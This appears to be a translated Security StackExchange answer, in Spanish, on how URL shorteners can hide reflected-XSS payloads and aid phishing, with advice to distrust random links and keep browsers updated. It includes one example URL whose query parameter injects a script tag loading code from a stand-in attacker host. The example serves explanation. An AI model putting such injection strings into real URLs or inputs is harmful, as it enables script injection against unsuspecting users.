espero que no haya nadie que se vincule a una página con un kit de explotación avanzado o una vulnerabilidad persistente xss.
El riesgo con los enlaces acortados no es realmente XSS persistente, sino que refleja XSS y phishing.
Supongamos que stackexchange está abierto a XSS persistente. Si publico un enlace a https://security.stackexchange.com/questions/414141/my-evil-question , cree que es seguro, visítelo y mi código JavaScript se ejecutará. El uso de acortadores de URL no agrega nada a mi ataque (incluso podría hacerte más sospechoso).
Si, por otro lado, stackexchange está abierto a XSS reflejado, la URL se vería como https://security.stackexchange.com/questions/414141/my-evil-question?someParam=<script src=evil.attacker/script.js></script> , y en ese caso, acortar la URL sería útil para ocultar el script inyectado.
¿Cómo pueden las personas de It-sec confiar en otras personas de it-sec?
Bueno, no deberías confiar en personas aleatorias en reddit/r/netsec, twitter, security.stackexchange .
Y sí, las últimas actualizaciones son una buena idea (la mayoría de los navegadores tienen al menos un poco de filtro para defenderse del XSS reflejado y algunos filtros de phishing), y NoScript también es bueno.
Si desea saber qué hay detrás de un enlace acortado, consulte esta pregunta sobre verificando enlaces acortados .